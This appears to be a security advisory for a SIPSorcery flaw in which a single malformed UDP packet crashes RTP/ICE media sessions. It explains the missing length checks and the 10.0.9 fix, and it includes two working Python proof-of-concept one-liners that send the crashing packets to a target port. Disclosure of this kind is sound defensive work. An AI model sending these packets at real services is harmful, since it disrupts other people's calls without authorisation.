CVE-2026-54632: SIPSorcery Remote DoS via Malformed UDP Packet on RTP/ICE Socket
Sending a single tiny malformed UDP packet to the RTP/ICE port of a SIPSorcery media session can crash that session remotely, with no authentication required.

The problem
SIPSorcery <= 10.0.8 has two missing length checks on the RTP/ICE socket. RTPChannel.OnRTPPacketReceived reads packet[1] after only confirming the packet is non-empty, so a 1-byte datagram throws IndexOutOfRangeException. STUNAttribute.ParseMessageAttributes passes zero-length or null values to the STUNXORAddressAttribute constructor, which then reads attributeValue[1] and calls AsSpan(2) and AsSpan(4) unconditionally, throwing NullReferenceException or ArgumentOutOfRangeException.
Both paths share a fatal amplifier: UdpReceiver.EndReceiveFrom wrapped all exceptions in a catch-all that called Close(), tearing down the entire channel. One small, unauthenticated packet therefore ends the media session. This is reachable before any DTLS handshake or STUN MESSAGE-INTEGRITY check, because ICE connectivity checks happen earlier.
Proof of concept
A working proof-of-concept for CVE-2026-54632 in SIPSorcery, with the exact payload below.
# Trigger 1: single-byte RTP datagram kills the channel
# Send one byte (0x80) to the RTP/ICE UDP port
python3 -c "
import socket, sys
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(b'\x80', (sys.argv[1], int(sys.argv[2])))
" <target-ip> <rtp-port>
# Trigger 2: STUN Binding Request with XOR-MAPPED-ADDRESS length=0
# 20-byte STUN header (Binding Request, magic cookie, zeroed txid)
# + 4-byte attribute TLV: type=0x0020 (XOR-MAPPED-ADDRESS), length=0x0000
python3 -c "
import socket, sys, struct
# STUN Binding Request header
msg_type = 0x0001 # Binding Request
msg_len = 4 # one attribute, 4 bytes (TLV, no value)
magic = 0x2112A442
txid = b'\x00' * 12
header = struct.pack('!HHI', msg_type, msg_len, magic) + txid
# XOR-MAPPED-ADDRESS attribute, value length = 0
attr = struct.pack('!HH', 0x0020, 0x0000)
pkt = header + attr
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(pkt, (sys.argv[1], int(sys.argv[2])))
" <target-ip> <rtp-port>Both triggers work because the code indexed into untrusted byte arrays without verifying length first. The 1-byte packet triggers packet[1] in OnRTPPacketReceived; the zero-length STUN attribute triggers array access in STUNXORAddressAttribute on a null or empty value byte array.
Alone, each bug would be a local crash, but UdpReceiver.EndReceiveFrom converted any uncaught exception from anywhere in the packet pipeline into a Close() call, making both remotely exploitable with a single datagram (CWE-20, CWE-755). The patch breaks this chain at both ends: the receive loop now logs and drops the bad packet and re-arms instead of closing, and the parsing code validates lengths before indexing.
The fix
Upgrade to SIPSorcery 10.0.9 on NuGet. The patch adds a RTPHeader.MIN_HEADER_LEN guard in OnRTPPacketReceived, adds per-attribute length validation in ParseMessageAttributes, adds defensive length checks in the STUNXORAddressAttribute and STUNAddressAttribute constructors, and changes UdpReceiver.EndReceiveFrom to log-and-continue on non-socket exceptions instead of calling Close().
No configuration workaround exists in earlier versions.
Reported by Lokhesh Ujhoodha.
Related research
- high · 7.5CVE-2026-49218CVE-2026-49218: Magick.NET DCM Decoder Invalid Dimension Denial of Service
- high · 7.1CVE-2026-59867CVE-2026-59867: Microsoft Kiota SSRF and Local File Inclusion via Unrestricted OpenAPI $ref Resolution
- highCVE-2026-59863CVE-2026-59863: Microsoft Kiota workspace.json Path Traversal to Arbitrary File Write
- highCVE-2026-59866CVE-2026-59866: Microsoft Kiota Arbitrary File Write and Code Injection via x-ms-kiota-info